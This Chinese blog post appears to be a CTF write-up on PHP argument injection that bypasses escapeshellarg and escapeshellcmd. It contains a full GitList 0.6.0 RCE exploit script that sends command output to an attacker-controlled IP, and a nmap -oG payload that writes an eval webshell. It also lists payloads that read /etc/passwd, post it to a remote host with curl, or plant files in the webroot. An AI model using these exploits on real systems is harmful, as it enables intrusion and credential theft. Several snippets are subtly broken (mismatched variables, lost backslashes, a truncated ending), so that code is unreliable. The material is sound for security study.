参数注入漏洞与两个函数
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
老规矩,看代码。
主要就是获得一个host
参数和nmap
命令拼接起来进行命令执行,但是值得注意的是有两个函数escapeshellarg()
和escapeshellcmd()
。用了分号、管道符等等发现都无法绕过。所以有必要看看这两个函数到底是何方神圣了!
escapeshellarg和escapeshellcmd的功能
escapeshellarg
1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令
escapeshellcmd
1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令
example
# 无过滤函数 附加命令id 附加参数-l
<?php
$shell = '-l;id';
system('ls '.$username);
?>
# total 4
# -rwxrw-rw-. 1 root root 56 Sep 1 19:15 index.php
# uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
# 使用escapeshellcmd 附加命令id 无附加参数
<?php
$shell = ';id';
system(escapeshellcmd('ls '.$username));
?>
# (无回显)
# 使用escapeshellcmd 无附加命令 附加参数-l
<?php
$shell = '-l';
system(escapeshellcmd('ls '.$username));
?>
# total 4
# -rwxrw-rw-. 1 root root 56 Sep 1 19:15 index.php
# 使用escapeshellarg 附加命令id 无附加参数
<?php
$shell = ';id';
system(escapeshellarg('ls '.$username));
?>
# (无回显)
# 使用escapeshellcmd 无附加命令 附加参数-l
<?php
$shell = '-l';
system(escapeshellarg('ls '.$username));
?>
# (无回显)
对比上述结果不难发现,各组之间的结果差异。那么escapeshellcmd
和escapeshellarg
的具体执行作用差异是什么呢?
<?php
$shell = 'ls';
echo escapeshellcmd($shell); # ls
echo escapeshellarg($shell); # 'ls'
?>
<?php
$shell = 'ls -l';
echo escapeshellcmd($shell); # ls -l
echo escapeshellarg($shell); # 'ls -l'
?>
<?php
$shell = 'ls;id';
echo escapeshellcmd($shell); # ls\;id
echo escapeshellarg($shell); # 'ls;id'
?>
<?php
$shell = 'ls -l;id';
echo escapeshellcmd($shell); # ls -l\;id
echo escapeshellarg($shell); # 'ls -l;id'
?>
可以很清晰的看出来,一个是对参数中的分割符管道符等做转义,一个是将参数完全当作一个字符串来执行。
再看一个转义的例子:
<?php
$shell = "ls '-l";
echo escapeshellcmd($shell)."<br>"; # ls \'-l
echo escapeshellarg($shell)."<br>"; # 'ls '\''-l'
?>
从以上的例子,可以知道利用两个函数进行过滤后无法执行第二条命令,而且会给特殊字符进行加反斜杠转义。
gitlist 0.6.0远程命令执行漏洞
gitlist是一款使用PHP开发的图形化git仓库查看工具。在其0.6.0版本中,存在一处命令参数注入问题,可以导致远程命令执行漏洞。
在用户对仓库中代码进行搜索的时候,gitlist将调用git grep
命令:
<?php
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (\RuntimeException $e) {
return false;
}
代码中的$query
是搜索的关键字,$branch
是搜索的分支,可以看到在$query
非空的情况下,会先用escapeshellarg()
处理数据,但是当$query
为--open-files-in-pager=id;
时,会执行id
命令。
附赠exp:
import requests
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urlparse
import urllib
import threading
import time
import os
import re
url = 'http://192.168.1.1/gitlist/'
command = 'id'
your_ip = '192.168.1.100'
your_port = 8001
print "GitList 0.6 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"
print "REMEMBER TO DISABLE FIREWALL"
search_url = None
r = requests.get(url)
repos = re.findall(r'/([^/]+)/master/rss', r.text)
if len(repos) == 0:
print "[-] No repos"
os._exit(0)
for repo in repos:
print "[+] Found repo {}".format(repo)
r = requests.get("{}{}".format(url, repo))
files = re.findall(r'href="[^"]+blob/master/([^"]+)"', r.text)
for file in files:
r = requests.get("{}{}/raw/master/{}".format(url, repo, file))
print "[+] Found file {}".format(file)
print r.text[0:100]
search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])
break
if not search_url:
print "[-] No files in repo"
os._exit(0)
print "[+] Search using {}".format(search_url)
class GetHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed_path = urlparse.urlparse(self.path)
print "[+] Command response"
print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
self.send_response(200)
self.end_headers()
self.wfile.write("OK")
os._exit(0)
def log_message(self, format, *args):
return
def exploit_server():
server = HTTPServer((your_ip, your_port), GetHandler)
server.serve_forever()
print "[+] Start server on {}:{}".format(your_ip, your_port)
t = threading.Thread(target=exploit_server)
t.daemon = True
t.start()
print "[+] Server started"
r = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\"http://{}:{}/?a=\".urlencode(shell_exec(\"{}\")));"'.format(your_ip, your_port, command)})
while True:
time.sleep(1)
这是因为git grep
命令中参数--open-files-in-pager=id
虽然被当作了字符串但是出现在了参数选项中,所以被直接执行。这个漏洞就是参数注入。
根据P神的帖子,我们也了解到了即使是其他语言,只要是将参数放在了参数选项的位置上,都有可能触发参数注入漏洞。
BUUCTF 2018 Online Tools
题目就是文章开头的那段代码,是一个要对nmap命令进行参数注入的题目:
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
核心代码就是以上这些,首先最想的是逃逸加参数,执行读写操作。那需要先了解一下nmap
的参数都有啥。
root@kali:~# nmap -help
Nmap 7.80 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
......
OUTPUT:
-oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
and Grepable format, respectively, to the given filename.
-oA <basename>: Output in the three major formats at once
......
然后就注意到了这个参数,-oG
可以输出成指定文件名的文件,那岂不是可以写shell
了,美滋儿滋儿...
那接下来就得研究研究怎么绕过两个函数了
<?php
highlight_file(__FILE__);
if (isset($_GET['host'])) {
$host = $_GET['host'];
echo $host."<br>";
$host = escapeshellarg($host);
echo $host."<br>";
$host = escapeshellcmd($host);
echo $host."<br>";
echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$host;
}
?>
当我执行写入shell
命令时?host=<?php eval($_POST[1]); ?> -oG Tr0jAn.php
得到输出如下:
-oG Tr0jAn.php
' -oG Tr0jAn.php'
'\<\?php eval\(\$_POST\[1\]\)\; \?\> -oG Tr0jAn.php'
nmap -T5 -sT -Pn --host-timeout 2 -F '\<\?php eval\(\$_POST\[1\]\)\; \?\> -oG Tr0jAn.php'
可以发现现在无法将-oG
当作参数,但是根据之前的example,要是再shell
后-oG
之前加一个单引号,是不是能逃逸呢?
传值?host=<?php eval($_POST[1]); ?>' -oG Tr0jAn.php
' -oG Tr0jAn.php
''\'' -oG Tr0jAn.php'
'\<\?php eval\(\$_POST\[1\]\)\; \?\>'\\'' -oG Tr0jAn.php\'
nmap -T5 -sT -Pn --host-timeout 2 -F '\<\?php eval\(\$_POST\[1\]\)\; \?\>'\\'' -oG Tr0jAn.php\'
可以发现-oG
已经被当作了参数选项了,那执行试试,发现是失败的,原因是前面数据未闭合,所以继续构造如下payload:?host='<?php eval($_POST[1]); ?> -oG Tr0jAn.php'
' -oG Tr0jAn.php'
''\'' -oG Tr0jAn.php'\'''
''\\''\<\?php eval\(\$_POST\[1\]\)\; \?\> -oG Tr0jAn.php'\\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''\<\?php eval\(\$_POST\[1\]\)\; \?\> -oG Tr0jAn.php'\\'''
此时才如我们期望的一样闭合了所有引号,此时能够成功执行写入操作。这就写入了shell
,连接上就ok
了。
拓展
这个漏洞相对简单,利用与绕过也并不困难,主要是找到合适的参数进行注入即可。
常规姿势
tar:压缩some_file
到/tmp/sth
$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));
创建一个空文件/tmp/exploit
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));
find:在/tmp
目录查找文件some_file
$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));
打印/etc/passwd
内容
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));
wget:下载example.php
$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
保存.php
文件到指定目录
$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
.bat:打印somedir
中的文件列表
$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
并且执行whoami
命令
$dir = "somedir x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
sendmail:发送mail.txt
到from@sth.com
$from = 'from@sth.com';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
打印/etc/passwd
内容
$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
curl:下载http://example.com
内容
$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));
发送/etc/passwd
内容到http://example.com
$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));
你可以得到文件内容,使用如下payload:
file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));
MySQL:执行sql语句
$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
运行id
命令
$sql = '! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
unzip:从archive.zip
解压所有*.tmp
文件到/tmp
目录
$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));
从archive.zip
解压所有*.tmp
文件到/var/www/html
目录
$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');
Escapeshellcmd
和escapeshellarg
在这个配置中,我们可以传递第二个参数给函数。
列出/tmp
目录并忽略sth
文件
$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
在/tmp
目录中列出文件并忽略sth
。使用长列表格式。
$arg = "sth' -l ";
// ls --ignore='exploit'\'' -l ' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
如果未设置LANG环境变量,则去除非ASCII字符
$filename = 'résumé.pdf';
// string(10) "'rsum.pdf'"
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8');
//string(14) "'résumé.pdf'"
var_dump(escapeshellarg($filename));
经典EXP
PHP <= 4.3.6 on Windows – CVE-2004-0542
$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
同时运行dir
命令.
$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
PHP 4 <= 4.4.8 and PHP 5 <= 5.2.5 – CVE-2008-2051
shell
需要使用GBK
,EUC-KR
,SJIS
等可变宽度字符集的语言环境。
$text = "sth";
system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id";
system(escapeshellcmd("echo ".$text));
或者
$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
PHP < 5.4.42, 5.5.x before 5.5.26, 5.6.x before 5.6.10 on Windows – CVE-2015-4642
额外传递的第三个参数(—param3
)。
$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\';
$b = 'b -c --param3\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
PHP 7.x before 7.0.2 – CVE-2016-1904
如果将1024mb
字符串传递给escapeshellarg
,则导致缓冲区溢出escapeshellcmd
。
PHP 5.4.x < 5.4.43 / 5.5.x < 5.5.27 / 5.6.x < 5.6.11 on Windows
启用EnableDelayedExpansion
后,展开一些环境变量。
然后!STH!
运行类似于%STH%
escapeshellarg
不会过滤!
字符EnableDelayedExpansion
以在HKLM
或HKCU
下的注册表中设置:
[HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor]
"DelayedExpansion"= (REG_DWORD)
1=enabled 0=disabled (default)
例如:
// Leak appdata dir value
$text = '!APPDATA!';
print "echo ".escapeshellarg($text);
PHP < 5.6.18
功能定义于ext/standard/exec.c
,运行类似于(escapeshellcmd
,eschapeshellarg
,shell_exec
),忽略PHP
字符串的长度,并用NULL终止工作代替。
echo escapeshellarg("helloworld");
=>
hello